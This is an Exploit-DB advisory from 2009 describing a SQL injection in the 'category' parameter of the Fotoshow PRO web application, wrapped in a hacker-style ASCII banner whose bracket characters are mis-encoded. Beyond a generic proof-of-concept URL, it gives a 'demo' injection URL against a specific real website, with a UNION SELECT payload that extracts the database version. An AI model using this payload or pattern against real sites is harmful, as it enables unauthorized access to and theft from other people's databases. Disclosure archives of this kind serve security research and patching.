Exploit-DB #9464
Description: Fotoshow PRO - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: darkmasking

Exploit:
[Г‚В»]====================================================================================================================[_][-][X]
[Г‚В»]                                                                             					     [Г‚В»]
[Г‚В»]      	                   Fotoshow PROГўвЂћВў (category) Remote SQL Injection Vulnerability  		             [Г‚В»]
[Г‚В»]              				         							             [Г‚В»]
[Г‚В»]            		 	        =======    ------d-------m------     ====    ====   			             [Г‚В»]
[Г‚В»]             	 	        ||     =        | |(o o)| |          ||   ||   ||   			             [Г‚В»]
[Г‚В»]             		        ||     =          ||(~)||            ||        ||   			             [Г‚В»]
[Г‚В»]             	 	        =======             /|\              ||        ||  			             [Г‚В»]
[Г‚В»]==========================================================================================================================[Г‚В»]
[Г‚В»] 				          Author         : darkmasking		 				             [Г‚В»]
[Г‚В»] 				          Date           : August, 15th 2009           				             [Г‚В»]
[Г‚В»]           		 	          Contact        : darkmasking[at]gmail[dot]com  			             [Г‚В»]
[Г‚В»]				          Critical Level : Dangerous (*RED)		  			             [Г‚В»]
[Г‚В»]--------------------------------------------------------------------------------------------------------------------------[Г‚В»]
[Г‚В»] Affected software description :        					             				     [Г‚В»]
[Г‚В»] Software : Fotoshow PROГўвЂћВў							            				     [Г‚В»]
[Г‚В»] Vendor   : http://www.fotoshowpro.com/					            				     [Г‚В»]
[Г‚В»] Price    : $5,000 (USD) http://www.fotoshowpro.com/features.php \0_o/	             				     [Г‚В»]
[Г‚В»]==========================================================================================================================[Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»] [~] SQLi POC												             [Г‚В»]
[Г‚В»] 														             [Г‚В»]
[Г‚В»] [+] http://www.target.com/[path]/results.php?category=[SQli]`						             [Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»]--------------------------------------------------------------------------------------------------------------------------[Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»] [~] SQLi POC Demo													     [Г‚В»]
[Г‚В»]															     [Г‚В»]
[Г‚В»] [+] http://www.macduffeverton.com/stock/results.php?category=-9999 and 1=0 union select null,version(),null,null,null--  [Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»]--------------------------------------------------------------------------------------------------------------------------[Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»] [~] Greetz													             [Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»]	Sorry bro belum dapat teman, jadi untuk diri sendiri aja! (SELAMAT MERAYAKAN 17an | Semoga Meriah)	             [Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»]														             [Г‚В»]
[Г‚В»]==========================================================================================================================[Г‚В»]

# milw0rm.com [2009-08-18]